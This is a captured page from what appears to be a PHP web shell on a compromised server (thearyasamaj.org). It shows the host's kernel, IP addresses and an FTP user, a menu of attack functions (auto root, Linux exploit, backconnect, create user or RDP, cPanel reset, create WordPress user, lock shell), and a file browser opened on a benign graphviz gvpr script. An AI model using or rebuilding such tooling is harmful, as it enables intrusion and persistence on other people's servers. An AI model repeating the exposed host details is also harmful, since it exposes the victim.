Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
graphviz /
gvpr /
[ HOME SHELL ]
Name
Size
Permission
Action
addedges
291
B
-rw-r--r--
addranks
830
B
-rw-r--r--
addrings
1.29
KB
-rw-r--r--
anon
422
B
-rw-r--r--
attr
151
B
-rw-r--r--
bb
997
B
-rw-r--r--
bbox
532
B
-rw-r--r--
binduce
1.14
KB
-rw-r--r--
bipart
455
B
-rw-r--r--
chkclusters
532
B
-rw-r--r--
chkedges
916
B
-rw-r--r--
cliptree
178
B
-rw-r--r--
col
601
B
-rw-r--r--
collapse
469
B
-rw-r--r--
color
1.41
KB
-rw-r--r--
cycle
560
B
-rw-r--r--
dechain
264
B
-rw-r--r--
deghist
351
B
-rw-r--r--
deledges
116
B
-rw-r--r--
delmulti
397
B
-rw-r--r--
delnodes
249
B
-rw-r--r--
depath
547
B
-rw-r--r--
dijkstra
647
B
-rw-r--r--
flatten
88
B
-rw-r--r--
get-layers-list
277
B
-rw-r--r--
group
791
B
-rw-r--r--
histogram
319
B
-rw-r--r--
indent
378
B
-rw-r--r--
knbhd
1.2
KB
-rw-r--r--
maxdeg
307
B
-rw-r--r--
path
449
B
-rw-r--r--
rotate
1.17
KB
-rw-r--r--
scale
1.12
KB
-rw-r--r--
scalexy
1.1
KB
-rw-r--r--
span
139
B
-rw-r--r--
topon
429
B
-rw-r--r--
treetoclust
988
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : knbhd
/* knbhd - Return the k-neighborhood of a node, i.e., allnodes * whose path length from the given node is <= k. * ARGV[] = k node_name */ BEG_G { node_t ctr; int maxlen; graph_t comp = subg($, "kcomp"); int sid = 0, eid = 0; int curlen; node_t curnode; int nlen[node_t]; node_t stk[int]; node_t other; edge_t e; if (ARGC != 2) { printf (2, "Two arguments required\n"); exit(1); } if (!sscanf(ARGV[0],"%d",&maxlen)) { printf (2, "Improper length parameter \"%s\"\n", ARGV[0]); exit(1); } maxlen++; /* length of 0 means unset */ ctr = isNode ($, ARGV[1]); if (!ctr) { printf (2, "node %s not found\n", ARGV[1]); exit(1); } subnode (comp,ctr); nlen[ctr] = 1; curnode = ctr; while (curnode) { curlen = nlen[curnode]; if (curlen == maxlen) break; for (e = fstedge(curnode); e; e = nxtedge(e,curnode)) { other = e.head; if (other == curnode) other = e.tail; if (nlen[other]) continue; /* already seen */ subnode(comp,other); nlen[other] = curlen+1; stk[eid++] = other; } if (sid < eid) curnode = stk[sid++]; else curnode = NULL; } induce(comp); write(comp); }
Close
